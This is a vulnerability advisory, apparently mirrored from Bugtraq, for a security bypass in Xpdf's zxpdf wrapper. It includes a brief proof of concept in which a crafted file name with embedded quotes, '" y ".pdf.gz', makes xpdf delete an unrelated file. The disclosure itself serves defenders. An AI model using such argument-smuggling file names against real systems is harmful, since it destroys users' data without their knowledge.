Xpdf 'zxpdf' Security Bypass Vulnerability

BID:49007

Info

Xpdf 'zxpdf' Security Bypass Vulnerability

Bugtraq ID: 49007
Class: Unknown
CVE:
Remote: Yes
Local: No
Published: Aug 04 2011 12:00AM
Updated: Aug 04 2011 12:00AM
Credit: Chung-chieh Shan
Vulnerable: Xpdf Xpdf 3.02-13
Not Vulnerable: Xpdf Xpdf 3.02-19

Discussion

Xpdf 'zxpdf' Security Bypass Vulnerability

Xpdf is prone to a security-bypass vulnerability that may allow attackers to perform actions without proper authorization.

Attackers can exploit this issue to bypass security restrictions and perform unauthorized actions; this may aid in launching further attacks.

Exploit / POC

Xpdf 'zxpdf' Security Bypass Vulnerability

The following proof-of-concept code is available:

$ touch y # The unrelated victim file
$ gzip -c </dev/null >'" y ".pdf.gz' # Create a .pdf.gz file
$ xpdf '" y ".pdf.gz' # View it using xpdf
Error: May not be a PDF file (continuing anyway)
Error: PDF file is damaged - attempting to reconstruct xref table...
Error: Couldn't find trailer dictionary
Error: Couldn't read xref table
rm: cannot remove `/tmp/': Is a directory
$ ls -l y # The victim file is gone!
ls: cannot access y: No such file or directory

Solution / Fix

Xpdf 'zxpdf' Security Bypass Vulnerability

Solution:
Updates are available. Please see the references for more details.

References

Xpdf 'zxpdf' Security Bypass Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report